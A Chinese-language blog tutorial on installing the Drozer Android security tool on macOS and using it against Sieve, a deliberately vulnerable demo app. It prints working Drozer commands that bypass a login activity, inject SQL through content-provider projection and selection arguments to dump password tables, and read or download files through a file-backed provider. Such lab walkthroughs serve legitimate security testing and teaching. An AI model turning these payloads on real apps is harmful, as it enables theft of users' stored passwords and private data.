Drozer安裝(Mac系統(tǒng))和使用

Drozer 官網(wǎng)地址https://labs.mwrinfosecurity.com/

Drozer是幫助我們檢測Android設(shè)備中App應(yīng)用的漏洞的安全工具。

一、安裝

默認(rèn)我們都有Android開發(fā)環(huán)境依賴的 JDK AndroidSDK 和 Python2.7(Mac 默認(rèn)自帶) 并且環(huán)境變量都已經(jīng)配置,這里主要介紹一下Mac上的安裝過程,具體其他系統(tǒng)安裝過程可以參考官網(wǎng)文檔。

要安裝drozer,首先要確保您的電腦安裝了Python 2.7。然后,安裝drozer的依賴項(xiàng)

1.1安裝openssl

Drozer需要特殊版本的openssl,我們需要下載 pyOpenSSL v0.13,然后用sed指令修復(fù)typo,具體指令:

1.1.1 $ wget https://pypi.python.org/packages/source/p/pyOpenSSL/pyOpenSSL-0.13.tar.gz

1.1.2 $ tar xzvf pyOpenSSL-0.13.tar.gz

1.1.3 $ cd pyOpenSSL-0.13

1.1.4 $ sed -i '' 's/X509_REVOKED_dup/X509_REVOKED_dupe/' OpenSSL/crypto/crl.c

1.1.5 $ python setup.py build_ext -L/usr/local/opt/openssl/lib -I/usr/local/opt/openssl/include

1.1.6 $ python setup.py build

1.1.7 $ python setup.py install

1.2安裝protobuf

$ easy_install --allow-hosts pypi.python.orgprotobuf

我們從https://github.com/protocolbuffers/protobuf/releases?after=v2.4.1rc1下載protobuf2.4.1版本執(zhí)行以下安裝命令

1、tar zxvf protobuf-2.4.1.tar.gz

2、cd protobuf-2.4.1

3、./configure

4、make(如果出現(xiàn)以下error

                3 errors generated.

                make[2] : *** [message.lo] Error 1

                make[2] : *** [all -recursive] Error 1

                make : *** [all] Error2

                解決方案:

                4.1\. 打開protobuf-2.4.1/src/google/protobuf/message.cc文件

                4.2\. 添加 #include <istream>后關(guān)閉文件,重新執(zhí)行:make 即可)

5、make check

6、make install

執(zhí)行命令:protoc —version 如果出現(xiàn)libprotoc 2.4.1則說明安裝成功

1.3 安裝twisted 可以忽略警告和報(bào)錯(cuò),執(zhí)行一下命令即可

$ easy_install twisted==10.2.0

1.4 安裝drozer

$ sudo easy_install ./drozer-2.3.4-py2.7.egg

此外我們可以直接下載drozer(Python.whl)版本,執(zhí)行下面命令急性安裝


image.png

$ sudo pip install drozer-xxx.whl --ignore-installed pyOpenSSL

安裝drozer成功后可以輸入drozer驗(yàn)證出現(xiàn)一下表示安裝成功

image.png

二、使用

2.1、在真機(jī)安裝drozer官網(wǎng)提供的agent.apk和sieve.apk

2.2、在電腦端開啟轉(zhuǎn)發(fā) 

         $ adb forward tcp:31415 tcp:31415

2.3、手機(jī)端啟動(dòng)Embedded Server
image.png

2.4、在電腦端啟動(dòng)drozer console 輸入一下命令

 $ drozer console connect

2.5 Drozer命令

2.5.1 獲取獲取Android設(shè)備上的所有的安裝的App的包名,如果想具體查找某個(gè)App可加上-f [App關(guān)鍵字]的參數(shù),如查找sieve在Android設(shè)備中的包名(sieve.apk在drozer官網(wǎng)上,一個(gè)'密碼管理器'應(yīng)用程序,展示了一些常見的Android漏洞)

> run app.package.list -f sieve

2.5.2 獲取Sieve的一些基本信息

> run app.package.info -a com.mwr.example.sieve

2.5.3 確定攻擊面

> run app.package.attacksurface com.mwr.example.sieve
image.png

結(jié)果顯示了潛在可以利用的組件個(gè)數(shù): “exported”表示組件可以被其他App使用。 services is debuggable表示我們可以用adb綁定一個(gè)調(diào)試器到進(jìn)程。

2.5.4進(jìn)一步獲取攻擊面的信息

> run app.activity.info -a com.mwr.example.sieve

2.5.5啟動(dòng)Activities,這里啟動(dòng)是sieve包里的PWList

> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

2.5.6從Content Provider中獲取信息

> run [app.provider.info](http://app.provider.info/)-a com.mwr.example.sieve

    2.5.6.1 查找可以訪問Content Provider的URI(數(shù)據(jù)泄漏)

    >run scanner.provider.finduris -a com.mwr.example.sieve
image.png
上圖中檢測出了可以訪問content的URI,接下來我們可以用drozer的其他模塊和URI從content中獲取,甚至更改信息。

> run app.provider.query 

2.5.7執(zhí)行SQL注入,Android操作系統(tǒng)建議使用SQLite數(shù)據(jù)庫存儲(chǔ)用戶數(shù)據(jù)。SQLite數(shù)據(jù)庫使用SQL語句,所以可以進(jìn)行SQL注入。 使用projection參數(shù)和seleciton參數(shù)可以傳遞一些簡單的SQL注入語句到Content provider。如:

> run app.provider.query [content://com.mwr.example.sieve.DBContentProvider/Passwords/](content://com.mwr.example.sieve.DBContentProvider/Passwords/)--projection “'"

> run app.provider.query [content://com.mwr.example.sieve.DBContentProvider/Passwords/](content://com.mwr.example.sieve.DBContentProvider/Passwords/)--selection “'"

上面兩條命令執(zhí)行后Android設(shè)備返回了非常詳細(xì)的錯(cuò)誤信息。使用Sql注入列出數(shù)據(jù)庫中的所有數(shù)據(jù)表:

> run app.provider.query [content://com.mwr.example.sieve.DBContentProvider/Passwords/](content://com.mwr.example.sieve.DBContentProvider/Passwords/)--projection "* FROM SQLITE_MASTER WHERE type='table';--"

使用SQL注入列出數(shù)據(jù)表的內(nèi)容:

>run app.provider.query [content://com.mwr.example.sieve.DBContentProvider/Passwords/](content://com.mwr.example.sieve.DBContentProvider/Passwords/)

--projection "* FROM Key;—“

image.png

2.5.8 從File System-Backed Content Providers獲取信息,F(xiàn)ile System-backed Content Provider提供了訪問底層文件系統(tǒng)的方法,Android沙盒會(huì)阻止App共享文件允許,而File System-backed Content Provider允許App共享文件。

>run app.provider.read [content://com.mwr.example.sieve.FileBackupProvider/etc/hosts](content://com.mwr.example.sieve.FileBackupProvider/etc/hosts)

可以使用app.provider.download下載文件

>run app.provider.download [content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db](content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db)/Users/wangzhen/Desktop/databse.db

2.5.9 檢查Content Provider的脆弱性

2.5.9.1檢查是否有SQL注入:

>run scanner.provider.injection -a com.mwr.example.sieve

2.5.9.2檢查是否存在遍歷文件的漏洞

>run scanner.provider.traversal -a com.mwr.example.sieve

2.5.10 和Services交互

2.5.10.1 獲取是exported狀態(tài)的services的命令

> run app.service.info -a com.mwr.example.sieve

2.5.10.2 向服務(wù)發(fā)送消息

> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.CryptoService --msg 1 5 3
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容